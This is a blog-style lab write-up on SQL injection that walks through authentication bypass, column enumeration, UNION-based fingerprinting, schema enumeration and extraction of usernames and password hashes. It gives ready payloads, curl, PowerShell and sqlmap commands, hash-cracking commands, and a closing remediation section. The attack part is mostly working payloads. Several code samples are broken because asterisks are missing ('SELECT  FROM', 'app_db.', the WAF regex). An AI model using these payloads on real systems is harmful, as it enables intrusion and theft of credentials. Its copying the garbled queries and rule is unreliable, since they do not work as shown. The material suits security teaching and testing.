Lab 02 — SQL Injection: Manual Exploitation & Remediation in Web Application Security + Video

Listen to this Post

Featured Image

Introduction

SQL Injection remains one of the most persistent and dangerous vulnerabilities in web application security, despite being discovered over two decades ago. This attack vector exploits improper handling of user input, allowing malicious actors to manipulate database queries and potentially gain unauthorized access to sensitive data, modify records, or even execute administrative operations on the database server. This hands-on analysis demonstrates the complete manual exploitation chain against a deliberately vulnerable application, emphasizing the critical importance of secure coding practices and layered defenses.

Learning Objectives & Secrets

  • Objective 1: Authentication Bypass — Exploit vulnerable login mechanisms using classic Boolean-based payloads to circumvent authentication controls entirely. The secret lies in understanding how string concatenation in SQL queries transforms user input into executable database commands.

  • Objective 2: Database Fingerprinting — Master the art of enumerating database metadata through UNION-based queries and error-based extraction techniques. The secret tip is leveraging the database’s own help messages—error outputs revealing column counts, version details, and schema structures.

  • Objective 3: Full Data Exfiltration — Systematically extract usernames, password hashes, and complete table structures directly through browser inputs. The secret is understanding the information_schema database, which acts as a self-documenting metadata repository in MySQL environments.

You Should Know

  1. Authentication Bypass with Classic ‘ OR ‘1’=’1 Payload

The foundational attack begins at the login screen, where user-supplied credentials are concatenated directly into an SQL query. Consider a typical query structure:

SELECT  FROM users WHERE username = '$username' AND password = '$password'

When an attacker submits `’ OR ‘1’=’1` as the username and anything (or nothing) as the password, the query transforms into:

SELECT  FROM users WHERE username = '' OR '1'='1' AND password = '$password'

Step-by-Step Exploitation Guide:

1. Navigate to the target application’s login interface

  1. Enter `’ OR ‘1’=’1` in the username field
  2. Enter any arbitrary value in the password field (or leave blank)
  3. Observe that the application grants access as the first user in the users table
  4. If the application uses a vulnerable query, it will return all records, and the first record typically represents the administrative account

Linux/Windows Command Reference:

 Test connectivity and response times
curl -X POST http://target/login.php -d "username=' OR '1'='1&password=test"

Automate with SQLMap after manual confirmation
sqlmap -u "http://target/login.php" --data="username=admin&password=pass" --level=5 --risk=3

2. Column Enumeration Using ORDER BY Clauses

Once authenticated or while testing query parameters, enumerating the number of columns in the original query becomes crucial for UNION-based attacks. The ORDER BY technique relies on the fact that ORDER BY accepts column numbers. The database returns an error when referencing a column index beyond the actual result set.

Step-by-Step Column Discovery:

  1. Identify a parameter vulnerable to SQL injection (often in URL parameters like ?id=1)
  2. Append `ORDER BY 1` to the parameter: `?id=1 ORDER BY 1`
    3. Increment the number until an error occurs: ORDER BY 1, ORDER BY 2, ORDER BY 3
  3. The last successful value indicates the column count
  4. For instance, if `ORDER BY 5` fails but `ORDER BY 4` succeeds, the column count is 4

Verification Commands:

-- Example injection payloads
http://target/page?id=1 ORDER BY 1-- -
http://target/page?id=1 ORDER BY 2-- -
http://target/page?id=1 ORDER BY 3-- -
http://target/page?id=1 ORDER BY 4-- - -- Success
http://target/page?id=1 ORDER BY 5-- - -- Error: Unknown column '5'

3. Database Fingerprinting with UNION SELECT

After determining the column count, UNION SELECT enables extraction of database metadata, including the database name, version, and current user. The key is matching the number of columns and data types between the original query and the UNION injection.

Step-by-Step Fingerprinting Guide:

  1. Confirm the column count (assume 4 columns from previous step)
  2. Test the UNION SELECT with null values to validate column compatibility
  3. Replace nulls with database functions to extract information
-- Determine if UNION works
http://target/page?id=1 UNION SELECT NULL,NULL,NULL,NULL-- -

-- Extract database version and name
http://target/page?id=1 UNION SELECT @@version,database(),NULL,NULL-- -

-- Get current database user
http://target/page?id=1 UNION SELECT user(),database(),NULL,NULL-- -

-- For MySQL version extraction
http://target/page?id=1 UNION SELECT VERSION(),database(),NULL,NULL-- -

Linux Commands for Recon:

 Using curl to test UNION injections
curl "http://target/page?id=1%20UNION%20SELECT%20@@version,database(),NULL,NULL--%20-"

Automate with custom scripts
for i in {1..10}; do
curl "http://target/page?id=1 ORDER BY $i-- -" -s | grep -i error
done

4. Schema Enumeration Using information_schema

MySQL’s information_schema database contains metadata about all other databases, tables, and columns. By querying this schema, an attacker can systematically map the entire application’s database structure.

Step-by-Step Schema Enumeration:

  1. Query the list of all tables in the current database:
http://target/page?id=1 UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -

2. Query the columns for a specific table:

http://target/page?id=1 UNION SELECT column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users' AND table_schema=database()-- -

3. Query all databases in the system:

http://target/page?id=1 UNION SELECT schema_name,NULL,NULL,NULL FROM information_schema.schemata-- -

Windows PowerShell Equivalent:

 Simple HTTP request testing
Invoke-WebRequest -Uri "http://target/page?id=1 UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -"

Automated scanning with multiple payloads
$payloads = @("UNION SELECT table_name", "UNION SELECT column_name", "UNION SELECT schema_name")
foreach ($p in $payloads) {
$url = "http://target/page?id=1 $p FROM information_schema.tables-- -"
Invoke-WebRequest -Uri $url
}

5. Full Data Extraction of Users Table

The final stage involves extracting actual data, including usernames and password hashes, from identified tables. This proves the practical impact of the vulnerability and demonstrates the complete exploitation chain.

Step-by-Step Data Extraction:

1. Confirm the target table and columns exist

  1. Craft a UNION query to extract multiple columns:
http://target/page?id=1 UNION SELECT username,password,user_id,email FROM users-- -
  1. Combine with GROUP_CONCAT or similar functions to extract multiple rows:
http://target/page?id=1 UNION SELECT GROUP_CONCAT(username),GROUP_CONCAT(password),NULL,NULL FROM users-- -
  1. Save extracted password hashes for offline cracking (using tools like John the Ripper or Hashcat)

Offline Password Cracking Commands:

 Hash identification
hashid '$2y$10$...'

John the Ripper cracking
john --format=bcrypt hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Hashcat cracking (NVIDIA GPU)
hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

6. Mitigation Strategies and Secure Coding Practices

Understanding exploitation is incomplete without mastering remediation. The following defenses address the root cause of SQL injection vulnerabilities.

Prepared Statements (Parameterized Queries):

// Vulnerable code (DO NOT USE)
$query = "SELECT  FROM users WHERE username = '$username'";

// Secure code using PDO prepared statements
$stmt = $pdo->prepare("SELECT  FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
 Python with MySQL Connector
cursor = connection.cursor(prepared=True)
cursor.execute("SELECT  FROM users WHERE username = %s", (username,))

Stored Procedures Implementation:

-- MySQL Stored Procedure
DELIMITER //
CREATE PROCEDURE GetUser(IN p_username VARCHAR(50))
BEGIN
SELECT  FROM users WHERE username = p_username;
END //
DELIMITER ;

-- Call the procedure
CALL GetUser('admin');

Input Validation Whitelisting:

import re

def validate_username(username):
 Allow only alphanumeric and underscore
if re.match("^[a-zA-Z0-9_]{3,20}$", username):
return username
else:
raise ValueError("Invalid username format")

Least Privilege Database Accounts:

-- Create a read-only account for application use
CREATE USER 'webapp_readonly'@'localhost' IDENTIFIED BY 'StrongPassword!';
GRANT SELECT ON app_db. TO 'webapp_readonly'@'localhost';
REVOKE DELETE, UPDATE, INSERT, DROP, ALTER ON app_db. FROM 'webapp_readonly'@'localhost';

Generic Error Messages Configuration:

 PHP Error Reporting (production)
display_errors = Off
display_startup_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

MySQL Error Reporting
sql-mode = "ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION"

Web Application Firewall (WAF) Rules:

 Nginx ModSecurity rules for SQL injection
SecRule ARGS "@rx (?i:(union.select|select.from|information_schema|[';]|\b(?:or|and)\b.=))" \
"id:942100,phase:2,deny,status:403,msg:'SQL Injection Detection'"

What Undercode Say

Key Takeaway 1: The Database Speaks When You Know How to Ask — The exploitability of SQL injection isn’t about complexity; it’s about understanding that database error messages and schema metadata are tools that an attacker can legitimately use during reconnaissance. Error-based extraction is remarkably effective because modern databases are designed to be helpful, not secure.

Key Takeaway 2: Manual Exploitation is the Foundation — While automated tools like SQLMap are powerful, manual exploitation develops the intuition needed to understand WHERE and WHY vulnerabilities exist. The ability to craft payloads manually, test column counts, and interpret database responses is what separates script-kiddies from security professionals who can actually secure applications.

Key Takeaway 3: The Fix is Simple, Not Novel — Prepared statements, parameterized queries, input validation, and least privilege accounts have been standard best practices for years. The continued prevalence of SQL injection reflects not a lack of solutions, but a failure in education, code review processes, and security culture in development teams.

Prediction

+1 The growing awareness of SQL injection through academic programs like MSc Cyber Security courses will continue to produce security professionals who can properly implement and audit these defenses. As more developers understand the exploitation chain, the number of new vulnerabilities may decrease.

-1 Automated vulnerability scanners are increasingly sophisticated, meaning that simple SQL injection flaws are becoming easier to detect. Organizations that fail to implement proper input validation and prepared statements will face rapid exposure, potentially leading to devastating data breaches.

+1 The integration of AI-assisted code review tools (e.g., GitHub Copilot, Amazon CodeWhisperer) that enforce secure coding patterns could dramatically reduce human error in SQL query construction, preventing injection vulnerabilities at the development stage.

-1 The financial incentives for attackers remain immense, and SQL injection persists as an attack vector because legacy applications, poorly-maintained codebases, and the ever-present “deploy now, secure later” mindset continue to create exploitable targets.

+1 The hands-on lab approach demonstrated in this exercise—isolated environments, manual exploitation, and immediate remediation—represents the gold standard for security education and will likely become more prevalent in corporate training programs as organizations realize the cost of reactive security.

-1 As cloud infrastructure and microservices proliferate, SQL injection may evolve to affect distributed database systems and API gateways, creating new attack surfaces that traditional defenses might not fully cover.

+1 The development of specialized SQL injection detection tools integrated into CI/CD pipelines (like GitLab SAST, GitHub CodeQL) will help automate the identification of these vulnerabilities before code reaches production, shifting security left in the development lifecycle.

▶️ Related Video (82% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: https://lnkd.in/p/e7Jp2iqB – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky